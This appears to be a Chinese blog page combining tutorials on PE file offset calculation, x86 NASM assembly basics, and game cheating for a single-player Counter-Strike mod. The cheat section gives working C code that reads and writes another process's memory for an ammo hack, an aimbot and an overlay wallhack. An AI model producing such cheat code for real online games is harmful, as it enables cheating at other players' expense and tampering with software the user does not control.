Offset在Windows可执行文件中，RVA（Relative Virtual Address）是一个虚拟地址相对于程序映像基址的偏移量，程序映像基址是可执行文件在内存中加载时分配的基地址，通常是0x400000或0x10000000，有了FOV偏移就能够定位，在PE文件中代码的位置，直接修改二进制文件实现程序逻辑的修改。好，我们先来找一下 AddressOfEntryPoint 程序入口，运行后机器码的位置。通过studyPE+这个工具，可以对程序的PE结构进行展示，这里的 0001500 就是RVA。然后就是区段了，Virtual Address 是用来描述PE文件中数据段在程序运行时被加载到内存中的虚拟地址，而 Raw Address 是用来数据段在PE文件中的物理地址或字节偏移量。通过上面的东西进行公式计算，就能得到二进制文件的FOV偏移，与动态调试的入口地址机器码所对应。VA虚拟地址计算VA（Virtual Address，虚拟地址）是指被操作系统分配给进程的内存地址空间中的地址，也称为“逻辑地址”，在现代操作系统中，每个进程都有自己的虚拟地址空间，该地址空间通常从0开始，可以映射到物理内存中的实际地址。只要明白有了VA就能定位到程序运行后的虚拟内存地址了。VA = FOV + Virtual Offset - Raw Offset # 两个都能用 VA = RVA + ImageBase通过上面的公式就能拿到 400000 + 1500 = 401500，在程序运行后的虚拟内存地址。地址重定位计算这是在逆向工程中地址计算的一种常见方法，通常用于调试和静态分析工具之间的地址转换。下面是具体的解释和场景说明：在动态调试器（如 x64dbg）和静态分析工具（如 IDA Pro）中，二进制文件的地址表示方式会有所不同：动态调试器动态调试时，程序运行在内存中，操作系统会为程序的模块分配一个动态的加载基址（Base Address）。具体地址通常由模块加载地址加上文件中的偏移量（Offset）计算得出。静态分析工具静态分析工具基于文件本身的结构，不依赖运行时的加载基址。它直接将文件的Offset视为相对地址，结合用户手动输入的加载基址，推算出实际的运行地址。x64dbg 中的地址计算当前运行的内存地址（Current Address）模块加载地址（Module Base Address）公式：偏移量（Offset） = 当前地址 - 模块加载地址意义在于，找到一个地址相对于模块加载基址的偏移值，这个偏移值与模块在静态文件中的位置一致。在 IDA 中的地址计算假设在调试器中计算出某个地址的偏移量（Offset）。在IDA中，我们需要知道模块加载基址（Module Base Address）来还原其运行时的实际内存地址。公式：当前地址 = 模块加载基址 + 偏移量（Offset）这个公式的意义是，利用偏移量和加载基址还原实际内存中动态分配的地址。假设我们正在调试一个程序，模块加载基址是 0x400000，并且我们在 x64dbg 中发现当前执行的指令位于地址 0x402345。Step 1: 计算Offset使用公式：Offset = 当前地址 - 模块加载地址 Offset = 0x402345 - 0x400000 Offset = 0x2345Step 2: 转换到IDA中的地址假设我们在IDA中对这个模块进行分析，并假设它的加载基址为 0x500000。则在IDA中对应的实际地址为：当前地址 = 模块加载基址 + Offset 当前地址 = 0x500000 + 0x2345 当前地址 = 0x502345改全局变量用C写了简单的例子，输出变量数值和虚拟内存地址。#include <stdio.h> int value = 1000; int main () { printf("Address = 0x%p \n", &value); printf("value = %d", value); getchar(); return 0; }有全局变量的虚拟内存地址，就可以直接可以计算出RVA相对虚拟内存地址，然后通过节表的内存偏移与RVA进行计算，就能得到文件的FOV。(为什么不修改局部变量？首先局部变量存储在堆栈中，需要通过动态修改值，在PE文件结构中并没有堆栈，堆栈是程序运行时分配出来的，所以不能通过修改PE文件结构来改变局部变量的数据。)RVA = VA - ImageBase FOV = RVA - Virtual Offset + Raw Offset通过上面的公式 403010 - 400000 = 3010 得到RVA，然后算区间按照上面的第二个公式就能得出FOV，对照区段的虚拟地址可以发现，是在 .data 节表中。拿到文件偏移就可以通过进行定位了，用二进制的方式修改全局变量的数据。小知识范围 = 基址 + 大小通过基址 + 大小就可以计算出这个 exe 中的内存范围，现在验证下这里面的内存地址是否全是静态地址。当然，除了exe 也有 dll 的，有了这些静态地址，就可以借助加偏移找到动态地址。2024-12-20 08:53:14 星期五 更新过
简介以下教程是自我总结出的，我会很详细的进行编写，配详细的步骤和视频教程，本文章用到的工具会有 Cheat engine、x64dbg，本文章只用C语言编写代码，用单机游戏 CK竞技之王 进行辅助的制作，该游戏是CS进行魔改仿穿越火线，在此声明并不是穿越火线游戏，做这个教程目的只有一个让你们明白它的原理和搜法，在游戏中不管是网络游戏还是单机游戏，他们的共同点都是一样的，能够被本地修改达到开挂的目的（在此声明只是作为学习交流）。基本了解游戏它是程序，因为运行程序就会创建进程，通过进程就可以访问程序中的内存地址，通过地址可以访问到存储的数据，举个简单的例子：比如游戏开发者创建了个变量 float speed = 2.5; 来定义人物速度，那么就会在内存中开辟一个空间，然后会有一个内存地址像 0x12345 这样的（只是打比方），我们可以通过这个地址来访问到里面的数据（知道C语言指针的就很好理解），也就是 2.5，通过微软给的系统 API 接口 kernel32.dll 里的 ReadProcessMemory 函数就能办到，然后就是写内存数值了，可以通过 WriteProcessMemory 函数，要用到的API函数我都会写在下面的。取窗口句柄HWND FindWindow( LPCTSTR lpClassName, LPCTSTR lpWindowName );取窗口句柄因为 ReadProcessMemory，第一个参数 hProcess 要的是进程句柄（注意了 FindWindow 取的是窗口句柄而不是进程句柄哦）。取进程线程DWORD GetWindowThreadProcessId( HWND hWnd, LPDWORD lpdwProcessId );通过 GetWindowThreadProcessId，来获取进程 PID 当然你直接获取进程 PID 就省去了找窗口。取进程句柄HANDLE OpenProcess( DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId );通过 OpenProcess，打开进程来取进程句柄，这样就拿到进程句柄了。读内存数据BOOL ReadProcessMemory( HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesRead );通过 ReadProcessMemory 来读进程内存数据。写内存数据BOOL WriteProcessMemory( HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten );通过 WriteProcessMemory 来写进程内存数据，以上是简单介绍让大家有个基本了解（注意以上只能对 32 程序进程操作）。32位、64位内存读写内核级进程内存读NTSTATUS ZwWow64ReadVirtualMemory64( HANDLE Process, PVOID64 BaseAddress, PVOID Buffer, ULONG64 BufferSize, PULONG64 NumberOfBytesRead );内核级进程内存写NTSTATUS ZwWow64WriteVirtualMemory64( HANDLE Process, PVOID64 BaseAddress, PVOID Buffer, ULONG64 BufferSize, PULONG64 NumberOfBytesWritten );内核级别的进程内存读写，可以用在32和64位程序上，微软不公开的但是可以用，这两个函数不属于动态链接库，感兴趣的可以自己去研究。完整代码（读写子弹数量）// 读写内存简单例子： #include <Windows.h> // 包含头文件 Windows.h #include <stdio.h> int main() { DWORD processid; // 保存进程PID HANDLE hProcess; // 保存进程句柄 HWND hwnd = FindWindow("Valve001", NULL); // 取窗口句柄 GetWindowThreadProcessId(hwnd, &processid); // 取进程PID hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processid); // 取进程句柄 if (hProcess == NULL) { printf("打开进程失败\n"); return 1; } int values; // 返回读取数据 SIZE_T bytesRead; // 存读取字节数 LPVOID Addresses = (LPVOID)0x7000FA4; // 临时地址读取 ReadProcessMemory(hProcess, Addresses, &values, sizeof(int), &bytesRead); // 读取内存地址数据 printf("子弹数量：%d\n", values); values = 100; SIZE_T bytesWritten; WriteProcessMemory(hProcess, Addresses, &values, sizeof(int), &bytesWritten); // 写内存地址数据 100 CloseHandle(hProcess); // 关闭句柄 return 0; }以上函数都在这个目录下：C:\Windows\System32\，这里面是存放的是 32 位动态链接库，上面的函数是 kernel32.dll 里面的，常用的 dll 我写在下面了，感兴趣的可以自己去看看。user32.dll // 提供了用户界面方面的功能，包括窗口、菜单、鼠标、键盘等。 kernel32.dll // 包含了许多核心的操作系统功能，如进程和线程管理、内存管理、文件操作等。 advapi32.dll // 提供了高级的系统和安全功能，如访问控制、认证等。 gdi32.dll // 提供了图形设备接口相关的功能，包括绘图和字体操作。 shell32.dll // 提供了与 Windows shell 相关的功能，如文件和文件夹操作、图标处理等。 comdlg32.dll // 提供了用于打开和保存对话框等通用的常见对话框。人物自瞄（C语言）#include <stdio.h> #include <math.h> #include <windows.h> #define PI 3.1415926 float GetDistance(float x1, float y1, float x2, float y2) { float distance = sqrt((x1 - x2) * (x1 - x2) + (y1 - y2) * (y1 - y2)); // 计算二维距离 return distance / 20.0f; } int main() { DWORD processid; HANDLE hProcess; HWND hwnd = FindWindow("Valve001", NULL); GetWindowThreadProcessId(hwnd, &processid); hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processid); if (hProcess == NULL) { printf("打开进程失败\n"); return 1; } LPVOID myAddr[] = { // 临时地址 (LPVOID)0x0B466A44, // 自己x (LPVOID)0x0B466A4C, // 自己y (LPVOID)0x0B466A48, // 自己z }; LPVOID emAddr[] = { // 临时地址 (LPVOID)0x0B466D68, // 敌人x (LPVOID)0x0B466D70, // 敌人y (LPVOID)0x0B466D6C, // 敌人z }; LPVOID aimAddr[] = { // 临时地址 (LPVOID)0x02de10c8, // 准星 x (LPVOID)0x02de10c4, // 准星 y }; SIZE_T bytesRead; float Aimvalues[2]; float myvalues[3]; float envalues[3]; float differ_x, differ_y, distan; float AiMBot_x, AiMBot_y, differ; while (TRUE) { for (int i = 0; i < 3; i++) { ReadProcessMemory(hProcess, aimAddr[i], &Aimvalues[i], sizeof(float), &bytesRead); ReadProcessMemory(hProcess, myAddr[i], &myvalues[i], sizeof(float), &bytesRead); ReadProcessMemory(hProcess, emAddr[i], &envalues[i], sizeof(float), &bytesRead); } differ_x = envalues[0] - myvalues[0]; // 计算敌我坐标差 differ_y = envalues[2] - myvalues[2]; distan = sqrt(pow(differ_x, 2) + pow(differ_y, 2)); differ = GetDistance(myvalues[0], myvalues[2], envalues[0], envalues[2]); // 计算二维距离 AiMBot_y = atan((myvalues[1] - envalues[1]) / distan) / PI * 180 + 3; // 计算y轴方向上的角度 if (differ_x > 0 && differ_y > 0) // 判断第一象限 { AiMBot_x = atan(differ_y / differ_x) * 180 / PI; // 计算x轴方向上的角度 } if (differ_x < 0 && differ_y > 0) // 判断第二象限 { AiMBot_x = atan(differ_y / differ_x) * 180 / PI + 180; } if (differ_x < 0 && differ_y < 0) // 判断第三象限 { AiMBot_x = atan(differ_y / differ_x) * 180 / PI + 180; } if (differ_x > 0 && differ_y < 0) // 判断第四象限 { AiMBot_x = atan(differ_y / differ_x) * 180 / PI; } WriteProcessMemory(hProcess, aimAddr[0], &AiMBot_x, sizeof(float), &bytesRead); // 将计算出的敌人位置x写入准星x WriteProcessMemory(hProcess, aimAddr[1], &AiMBot_y, sizeof(float), &bytesRead); // 将计算出的敌人位置y写入准星y } CloseHandle(hProcess); return 0; }{dplayer src="https://www.52tt.pro/usr/uploads/2023/08/Aim.mp4"/}自瞄代码详解1.首先通过 Cheat Engine 获取人物在游戏中的 x，y，z 坐标地址，有了这些数据才能为后期做准备。Tips：使用CE搜未知初始值浮点数，人物坐标是浮点数，人物往左移动 也就是 x 轴 那么就是减少了，往右走就是增加了，数轴的基本常识左减右增，来来回回过滤用二分排除法很快就能找到x坐标了。Tips：一旦找到 x 坐标那么 y，z 就都找到了，x坐标的内存地址是 0x2458fa44 只要 0x2458fa44 + 4 就是 z 坐标 + 8 就是 y 坐标，这样就全部拿到了，可以看到我额外标出HP，因为这里是跟人物相关的数据一般都在附近，就像一个对象或者结构体里面的数据都会存放在一起的。2.计算 x，y 轴方向的差值（水平与垂直距离），假设自己的位置是 (0, 0)，敌人的位置是 (3, 5)，那么 x 轴方向的差值是 3，y 轴方向的差值是 5。√(3^2 + 5^2) = √34 ≈ 5.83 // 勾股定理水平距离：3（敌人的 x 坐标）- 0（自己 x 坐标） = 3垂直距离：5（敌人的 y 坐标）- 0（自己 y 坐标） = 5float differ_x = enemy_x - self_x float differ_y = enemy_y - self_y3.计算两点之间的直线距离，可以使用勾股定理计算，本教程中我使用了欧氏距离计算。d = √((x2 - x1)^2 + (y2 - y1)^2) // 二维欧氏距离// 计算二维欧氏距离 float GetDistance(float x1, float y1, float x2, float y2) { float distance = sqrt((x1 - x2) * (x1 - x2) + (y1 - y2) * (y1 - y2)); return distance / 20.0f; }4.计算自己与敌人之间的角度（相对于 x 轴）用反正切函数来计算角度。θ = arctan(5 / 3)AiMBot_y = atan((myvalues[1] - envalues[1]) / distan) / PI * 180 + 3; // 计算y轴方向上的角度5.使用 atan 函数计算 y 轴方向上的角度，作为左后自瞄的 y 角度。if (differ_x > 0 && differ_y > 0) // 判断第一象限 { AiMBot_x = atan(differ_y / differ_x) * 180 / PI; // 计算 x 轴方向上的角度 } // 代码省略AiMBot_x = atan(differ_y / differ_x) * 180 / PI; // 计算x轴方向上的角度6.通过差值正负判断象限，用 atan 函数计算 x 轴方向上的角度，作为左后自瞄的 x 角度。WriteProcessMemory(hProcess, aimAddr[0], &AiMBot_x, sizeof(float), &bytesRead); // 准星x写入计算出的敌人位置x WriteProcessMemory(hProcess, aimAddr[1], &AiMBot_y, sizeof(float), &bytesRead); // 准星y写入计算出的敌人位置y7.获取游戏准星 x，y 移动坐标，最终配合 x 角度与 y 角度，用来移动准星实现自瞄效果。（以上方式是最原始的自瞄，用三角函数进行实现，只是单个人自瞄哦，多人只要遍历敌人数据x，y，z，加入到数组中通过距离判断优先级再自瞄，这样就完成了暂时不做比较懒。）无限急速雷思路很简单，先找雷数量右键看谁访问了这个地址，就可以追踪到访问它的代码段，这里面就会有很多对手雷的功能操作。（比如投掷距离，投掷速度，引爆时间。）看到这个地方，有 #fire_in_the_hole 这里就是调用扔雷的声音，再往下就是扔雷的操作。我分析过了，扔雷的速度就在这个反汇编代码，引用的这个地址附近，通过访问内存就能看到 + 4 的位置是 1.75 修改它扔雷速度就无冷却。{dplayer src="https://www.52tt.pro/usr/uploads/2023/08/bom.mp4"/}方框透视（C语言）绘制方框透视的方式也就两种，内部绘制 和 外部绘制，内部就是嵌入到了游戏窗口内，本文章用的是外部绘制，也就是说创建了一个窗口，设置透明并覆盖在游戏窗口上方，读游戏中的数据计算出来再进行绘制。我这里用的是 Windows API 进行绘制，会存在一点小问题，只是提供个思路给你们，在C语言也可以用 D3D9、SDL、Imgui 等等。#include <Windows.h> #include <tlhelp32.h> // 根据进程ID和模块名获取模块句柄 HMODULE GetModuleHandleFromProcess(DWORD processId, const char *moduleName) { HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, processId); MODULEENTRY32 moduleEntry; moduleEntry.dwSize = sizeof(moduleEntry); if (Module32First(hSnapshot, &moduleEntry)) { do { if (stricmp(moduleEntry.szModule, moduleName) == 0) { CloseHandle(hSnapshot); return moduleEntry.hModule; } } while (Module32Next(hSnapshot, &moduleEntry)); } CloseHandle(hSnapshot); return NULL; } // 窗口消息处理函数 LRESULT CALLBACK MsgProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam) { switch (msg) { case WM_DESTROY: PostQuitMessage(0); return 0; case WM_SIZING: return TRUE; case WM_NCHITTEST: return HTTRANSPARENT; default: return DefWindowProc(hWnd, msg, wParam, lParam); } } // 绘制矩形 void DrawRectangle(HDC hdc, int x, int y, int width, int height) { RECT rect = {x, y, x + width, y + height}; HBRUSH hBrush = (HBRUSH)GetStockObject(NULL_BRUSH); HPEN hPen = CreatePen(PS_SOLID, 2, RGB(255, 0, 0)); HGDIOBJ hOldPen = SelectObject(hdc, hPen); HGDIOBJ hOldBrush = SelectObject(hdc, hBrush); Rectangle(hdc, x, y, x + width, y + height); SelectObject(hdc, hOldBrush); SelectObject(hdc, hOldPen); DeleteObject(hPen); } int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) { // 获取进程ID和句柄 DWORD processid; HANDLE hProcess; HWND Gamehwnd = FindWindow(NULL, "Compete King"); GetWindowThreadProcessId(Gamehwnd, &processid); hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processid); // 获取模块句柄 const char *moduleName = "amxmodx_mm.dll"; HMODULE hModule = GetModuleHandleFromProcess(processid, moduleName); // 注册窗口类 WNDCLASSEX wc = { sizeof(WNDCLASSEX), CS_CLASSDC, MsgProc, 0L, 0L, GetModuleHandle(NULL), NULL, NULL, NULL, NULL, TEXT("D3D9"), NULL}; RegisterClassEx(&wc); // 创建窗口 RECT rects; GetWindowRect(Gamehwnd, &rects); int left = rects.left; int top = rects.top; int right = rects.right; int bottom = rects.bottom; int sWidth = right - left; int sHeight = bottom - top; HWND hWnd = CreateWindowEx( WS_EX_LAYERED | WS_EX_TRANSPARENT, wc.lpszClassName, TEXT("D3D9"), WS_POPUP, left, top, sWidth - 6, sHeight - 3, NULL, NULL, wc.hInstance, NULL); SetLayeredWindowAttributes(hWnd, RGB(0, 0, 0), 0, LWA_COLORKEY); ShowWindow(hWnd, SW_SHOWDEFAULT); UpdateWindow(hWnd); MSG msg; float MatData; float Matarray[4][4]; HDC hdc = GetDC(hWnd); ZeroMemory(&msg, sizeof(msg)); while (msg.message != WM_QUIT) { if (PeekMessage(&msg, NULL, 0U, 0U, PM_REMOVE)) { TranslateMessage(&msg); DispatchMessage(&msg); } else { // 获取游戏窗口大小 if (!GetWindowRect(Gamehwnd, &rects)) { PostQuitMessage(0); break; } int left = rects.left; int top = rects.top; int right = rects.right; int bottom = rects.bottom; int sWidth = right - left; int sHeight = bottom - top; SetWindowPos(hWnd, HWND_TOPMOST, left + 3, top, sWidth, sHeight, SWP_NOSIZE); int initNumber = -4; for (int i = 0; i < 4; i++) // 遍历存储 4 x 4 矩阵 { for (int j = 0; j < 4; j++) { initNumber += 4; LPVOID Addresses = (LPVOID)0x2C20100 + initNumber; ReadProcessMemory(hProcess, Addresses, &MatData, sizeof(float), NULL); Matarray[i][j] = MatData; } } int GameWinWidth = 1030 / 2; int GameWinHeight = 797 / 2; float vorx, vory, vorz, vory2, FanHeight, FanWidth, row; long long offset = 0xFFFFFFFFFFFFFCDC; RECT clientRect; GetClientRect(hWnd, &clientRect); FillRect(hdc, &clientRect, (HBRUSH)GetStockObject(BLACK_BRUSH)); for (int enemy_num = 0; enemy_num < 2; enemy_num++) // 遍历敌人数组 { offset += 0x324; LPVOID baseAddress = (LPVOID)((DWORD_PTR)hModule + 0x001CFE08); int baseaddr; ReadProcessMemory(hProcess, baseAddress, &baseaddr, sizeof(int), NULL); float enemyHP, enemyX, enemyY, enemyZ; ReadProcessMemory(hProcess, (LPVOID)baseaddr + 0x1E0 + offset, &enemyHP, sizeof(float), NULL); // enemyHP ReadProcessMemory(hProcess, (LPVOID)baseaddr + 0x88 + offset, &enemyX, sizeof(float), NULL); // enemyX ReadProcessMemory(hProcess, (LPVOID)baseaddr + 0x8C + offset, &enemyY, sizeof(float), NULL); // enemyY ReadProcessMemory(hProcess, (LPVOID)baseaddr + 0x90 + offset, &enemyZ, sizeof(float), NULL); // enemyZ /* 三维图形的投影算法 */ vorz = Matarray[0][2] * enemyX + Matarray[1][2] * enemyY + Matarray[2][2] * enemyZ + Matarray[3][2]; row = 1 / vorz; vorx = GameWinWidth + (Matarray[0][0] * enemyX + Matarray[1][0] * enemyY + Matarray[2][0] * enemyZ + Matarray[3][0]) * row * GameWinWidth; vory = GameWinHeight - (Matarray[0][1] * enemyX + Matarray[1][1] * enemyY + Matarray[2][1] * (enemyZ - 50) + Matarray[3][1]) * row * GameWinHeight; vory2 = GameWinHeight - (Matarray[0][1] * enemyX + Matarray[1][1] * enemyY + Matarray[2][1] * (enemyZ + 30) + Matarray[3][1]) * row * GameWinHeight; if (vorz < 0) { continue; } FanHeight = vory - vory2; FanWidth = FanHeight * 0.6; DrawRectangle(hdc, vorx - FanWidth / 2, vory2, (int)FanWidth, (int)FanHeight); // 绘制方框矩形 } ReleaseDC(hWnd, hdc); } } UnregisterClass(wc.lpszClassName, wc.hInstance); return (int)msg.wParam; }gcc main.c -s -lgdi32 -ld3d9 -mwindows // 编译成 exe 并隐藏 DOS 窗口方框透视详解先理一下思路，要用到的功能有，通过窗口句柄取进程ID，打开进程句柄，读游戏敌人 x y z 内存坐标数据，本文章代码用到的是外部窗口绘制，所以找个可以创建图形窗口能画图的库就行，设置窗口无边框，设置窗口透明，设置鼠标穿透，设置窗口置顶和实时位置覆盖，这样就能绘制了。三维投影变换1.主要用到三维图形的投影算法，把游戏里的数据进行计算后把敌人位置绘制到屏幕上显示，所以要在游戏里找到相机矩阵。在游戏里能影响到相机的方向的只有视角，用 CE 搜浮点数未知初始值，人物不动鼠标转动视角，再次搜变动了数值，以此类推一个一个进去看用内存视图观察特征，当然嫌麻烦可以找矩阵验证工具，可以自己网上找这里就不提供了。常见相机矩阵有 4 x 4，其他的还有 4 x 3 等等，如果矩阵有变化那么三维图像投影变换算法也需要进行更改。 矩阵特征：规律总结1：跳动时，有三个数据在变动规律总结2：晃动鼠标时，有一个数据保持 0 不变规律总结3：存在3对两两相同2.当我在游戏里人物跳起来的时候，可以发现只有三个值不停的发送变化，其他的都没变而且存在3对两两相同数：-0.11 -0.11 -0.99 -0.99 0.04 0.043.当我在游戏里旋转游戏视角的时候，可以发现有一个 0 不变。相机z = 矩阵[0][2] x 敌人x坐标 + 矩阵[1][2] x 敌人y坐标 + 矩阵[2][2] x 敌人z坐标 + 矩阵[3][2] 比例 = 1 / 相机z 相机x = 游戏窗口宽度 + (矩阵[0][0] x 敌人x坐标 + 矩阵[1][0] x 敌人y坐标 + 矩阵[2][0] x 敌人z坐标 + 矩阵[3][0]) x 比例 x 游戏窗口宽度 相机y = 游戏窗口高度 - (矩阵[0][1] x 敌人x坐标 + 矩阵[1][1] x 敌人y坐标 + 矩阵[2][1] x (敌人z - 50) + 矩阵[3][1]) x 比例 x 游戏窗口高度 相机y2 = 游戏窗口高度 - (矩阵[0][1] x 敌人x坐标 + 矩阵[1][1] x 敌人y坐标 + 矩阵[2][1] x (敌人z + 30) + 矩阵[3][1]) x 比例 x 游戏窗口高度投影公式相机 Z 计算：比例因子：屏幕上的 X 坐标：屏幕上的 Y 坐标：这里还有Python3的版本：Python3 透视自瞄外挂制作 ，仅供学习参考。2024-12-20 09:58:10 星期五 更新过
留言复习x86汇编基础，首先为什么要学习汇编语言呢？在二进制程序逆向中是必不可少的，在二进制程序在没有源代码的情况下，只能进行反汇编逆向分析程序的执行流程。所谓 "学而不思则罔，思而不学则殆"，只有真正的理解了是如何运作的，才能更好的进行后面的分析。本教程使用 intel 语法来进行编写，编译器使用的是开源的 NASM，就你叫x86汇编呀，直接干就完了！简介本文章会简单的讲解下Windows下的x86汇编，内容比较简短都是示例，x86汇编语言编程也很混乱。因为有很多不同的汇编器：MASM、NASM、gas、as86、TASM、a86、Terse 等，导致语法都不相同。出于对 汇编语言发展 的兴趣，本教程不是为了教你汇编，让你大概学习下x86汇编基础语法方便为后期逆向做准备。当然感兴趣的可以自己研究，这里推荐几个好的教程网站: Linux 汇编语言教程Putting the "You" in CPU汇编器与链接器不管使用哪种汇编器、目标文件格式、链接器或操作系统，编程过程始终是相同的。Nasm 编译器安装Nasm win64 下载 - | - MinGW 下载 首先需要下载编译环境，Nasm 与 MinGW 下载好后解压出来，配置好环境变量方便终端进行调用。这里我推荐几个链接器：ld、alink、golink、gcc 各有秋色，我会演示他们的用法，前三者打包都是程序最小的状态，而 gcc 会使程序大小变大，因为它加了一些东西。NASM 汇编语法输出 Hello, World! - Windowsextern _printf ; 声明外部的 printf 函数 section .data msg db 'Hello, World!', 0 ; 定义字符串常量 section .text global _main ; 设置入口函数为 _main _main: push msg ; 将字符串地址推入栈中，作为参数传递给 printf call _printf ; 调用 printf 函数 add esp, 4 ; 清理栈上的参数 ret ; 函数返回随便创建一个文件，名称.asm 以.asm 后缀结尾，当然后缀什么的都不重要，汇编代码是对的一切都是 ok 的，通过以下代码在 Windows 进行生成再到链接最终生成可执行程序。/* ------ 参数说明 -f win32 指定 32位 生成目标文件 test.o -lmsvcrt 指定链接器需要 C运行库 要用到 printf ------ 编译命令 nasm -f win32 demo.asm -o test.o ld test.o -o test.exe -lmsvcrt */生成完毕后，可以发现程序大小只有 4kb 左右，非常小那是因为用汇编进行编写的，没有其他一些没用的函数打包进去。通过 IDA 打开生成的程序，发现只有 _main 和 _printf 函数，而且代码也是我们写的那一部分。通过 x64dbg 发现，运行直接到 OEP 时就能看到我们写的代码， 程序入口点是 401000 从这里开始到 40100D 结束（自己写的代码范围）。反汇编代码中 push 0x402000 是把内存地址存储的字符串压入到堆栈中，然后通过 call Printf 调用进行输出 Hello, World!。输出 Hello, World! - Linuxsection .data ; 定义一个名为 hello 的字符串，用 db 伪指令来定义 ; db 是 define bytes，用来指定一组字节 hello db 'Hello, World!', 0 ; 字符串用单引号或双引号括起来，末尾要添加一个零终止符 \0 section .text global _start ; 设置入口函数为 _start _start: ; 往标准输出 (stdout) 写入字符串 ; 用系统调用 write mov eax, 4 ; 系统调用号 4 (write) 存储到寄存器 eax mov ebx, 1 ; 描述符 1 (stdout) 存储到寄存器 ebx mov ecx, hello ; 字符串的地址存储到寄存器 ecx mov edx, 13 ; 把字符串的长度（以字节为单位）存储到寄存器 edx int 0x80 ; 系统调用 sys_write ; 退出程序 ; 用系统调用 exit mov eax, 1 ; 系统调用号 1 (exit) 存储到寄存器 eax xor ebx, ebx ; 寄存器 ebx 设置为 0，表示返回值为 0 int 0x80 ; 系统调用 sys_exit/* ------ 参数说明 -f elf32 指定32位生成目标文件main.o -m elf_i386 指定生成32位可执行elf程序 ------ 编译命令 nasm -f elf32 main.asm -o main.o ld -m elf_i386 main.o -o main */通过IDA打开，可以看到只有一个 _start 主入口函数，也是没有其他任何函数，通过 sys_write 输出再到 sys_exit 退出结束。前面的操作让我们实现了编译环境搭建，和第一个汇编程序的编写到运行，现在让我们正式开始吧。（本教程在 Windows 操作系统进行讲解）视频教程{dplayer src="https://www.52tt.pro/usr/uploads/2023/09/10.1.mp4"/}PE文件节section .text // 代码段：用来存储程序的可执行指令（代码）。 section .data // 数据段：用来存储已经初始化的静态变量和全局变量。 section .rdata // 只读数据段：用来存储只读数据，字符串常量等。 section .bss // 未初始化数据段：用来存储未初始化的静态变量和全局变量。 section .data // 可读写数据段：用来存储可以被程序读取或写入的数据。 section .data? // 未定义的数据段 /* 可执行数据段： */ section .text // 代码段：用来存储程序的可执行指令（代码）。 section .idata // 导入数据段：用来存储从其他动态链接库（DLL）中导入的符号等信息。 section .edata // 导出数据段：用来存储导出给其他模块的符号等信息。 section .rsrc // 资源数据段：用来存储可执行文件中的资源数据，如图标、位图、菜单和对话框等。代码注释; 单行注释（分号）字符串输出 - utf-8extern _printf, _system section .data cmd db 'chcp 65001', 0 ; 设置终端输出编码为 utf-8 msg db '你好，世界！', 10, 0 msg2 db 'Hello, World!', 0 section .text global _main ; 设置入口函数为 _main _main: push cmd call _system push msg ; 将字符串地址推入栈中，作为参数传递给 printf call _printf ; 调用 printf 函数 push msg2 call _printf add esp, 12 ; 清理栈上的参数 ret ; 函数返回局部变量 - local varsection .text global _main extern _printf _main: push ebp ; 保存旧的基址寄存器值 mov ebp, esp ; 设置新的基址寄存器值 sub esp, 4 ; 分配 4 字节大小的空间作为局部变量 mov dword [ebp-4], 5 ; 将值 5 存储到局部变量中 mov eax, dword [ebp-4] ; 将局部变量值加载到寄存器 eax 中 push eax ; 将局部变量值推入栈中，作为参数传递给 printf push msg ; 将格式化字符串的地址也推入栈中 call _printf ; 调用 printf 函数 add esp, 12 ; 清理栈上的参数 pop ebp ; 恢复旧的基址寄存器值 ret ; 函数返回 section .data msg db 'local variable is %d', 10, 0 ; 格式化字符串.数据类型 - Data type整型（Integer） 浮点型（Float） 布尔型（Boolean） 字符型（Character）section .data format db "int: %d", 0 ; 格式化输出模板，%d 整数占位符 num dd 100 ; 存储整数值100 msg db "string: Hello", 0 ; 要输出的字符串 newline db 10, 0 ; 换行符和结尾符 section .text global _main extern _printf _main: push ebp ; 保存当前的ebp值 mov ebp, esp ; 把当前的堆栈指针esp的值赋给ebp，建立函数的堆栈帧 push dword [num] ; 压入num变量的值，准备进行格式化输出 push format ; 压入format变量的地址，作为格式化输出的模板 call _printf ; 调用外部函数_printf进行格式化输出 add esp, 8 ; 清除堆栈上的两个参数，恢复堆栈指针 push dword newline ; 压入newline变量的值，输出换行符 call _printf ; 调用_printf函数输出换行符 add esp, 4 ; 清除堆栈上的一个参数 push msg ; 压入msg变量的地址，准备输出字符串 call _printf ; 调用_printf函数输出字符串 Hello add esp, 4 ; 清除堆栈上的一个参数 mov esp, ebp ; 恢复函数调用前的堆栈状态，将堆栈指针esp的值设为ebp的值 pop ebp ; 恢复之前保存在堆栈中的ebp寄存器的值 ret ; 函数返回条件语句 - if ... elsesection .data format db "%d", 0 num dd 1 format2 db "%d", 0 num2 dd 0 section .text global _main extern _printf _main: push ebp mov ebp, esp mov eax, 5 mov ebx, 5 cmp eax, ebx ; 比较是否相等 je print_num push dword [num2] push format call _printf add esp, 8 jmp end print_num: ; 成立则跳转到这 mov eax, dword [num] push eax push format2 call _printf add esp, 8 end: mov esp, ebp pop ebp ret ; eax, ebx 寄存器值 都等于 5 所以成立输出 1条件循环 - forsection .data count equ 10 msg db "Loop iteration.", 10, 0 section .text global _main extern _printf _main: mov ebx, count ; 设置计数器为循环次数 loop_start: cmp ebx, 0 ; 检查计数器是否为零 je loop_end ; 如果为零，跳转到循环结束处 push msg call _printf ; 输出消息 add esp, 4 ; 清除栈上的参数 dec ebx ; 计数器减一 jmp loop_start ; 跳转回循环起始点 loop_end: mov eax, 0 ret条件循环 - whilesection .data msg db "Loop iteration.", 10, 0 section .text global _main extern _printf _main: loop_start: push msg call _printf ; 输出消息 add esp, 4 ; 清除栈上的参数 jmp loop_start ; 跳转回循环起始点整型数组 - Arraysection .data array dd 1, 2, 3, 4, 5, 10 ; 整数数组 len equ ($ - array) / 4 ; 数组长度 section .text global _main extern _printf _main: xor esi, esi ; 将数组索引初始化为 0 loop: cmp esi, len ; 检查是否到达数组末尾 jge end_loop mov eax, [array + esi * 4] 